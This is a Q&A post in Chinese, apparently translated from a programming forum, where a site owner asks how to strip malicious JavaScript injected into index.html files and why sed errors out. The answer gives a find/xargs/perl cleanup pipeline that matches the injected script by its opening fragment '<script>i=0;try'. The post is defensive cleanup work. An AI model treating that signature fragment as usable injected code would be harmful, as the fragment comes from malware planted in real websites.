首先,我需要提供免责声明：

不要运行这个JAVASCRIPT

它是由不道德的人注入我的一些网站的代码.我需要找到并替换它(用空格或什么都没有).它专门针对index.html和index.htm文件,并在所有文件中使用完全相同的代码.

JavaScript是以下(再次,不运行它).

我需要通过类似unix的命令行找到并替换它(我不想手动遍历每个文件).

我尝试过以下方法：

转义所有双引号,但这仍然会引发错误：

sed: -e expression #1, char 2075: unknown option to `s'

但是,我知道s选项确实有效,因为我之前使用它来查找和替换一些PHP.

我也试过以下,但也没有效果(抛出相同的错误)：

导致此错误的原因是什么,我该如何解决？
我对导致该错误的原因感到茫然,所以非常感谢任何帮助.

解决方法:

问题是你没有转义文本中的特殊字符,例如/ delimiter.

例如,最简单的解决方案是选择不同的分隔符并仅指定字符串的一部分

find . -name '*.html' -o -name '*.htm' |
  xargs fgrep -l '<script>i=0;try' |
  xargs perl -i.infected -pe 's#<script>i=0;try.*?</script>##g'

(未经测试)可以完成这项工作.
(.*？构造选择最短的匹配;我不知道如何在sed中这样做.)

验证类似的东西

find . -name '*.infected' | sed -e 's#.*#diff & &#' -e 's#.infected##' | sh -x
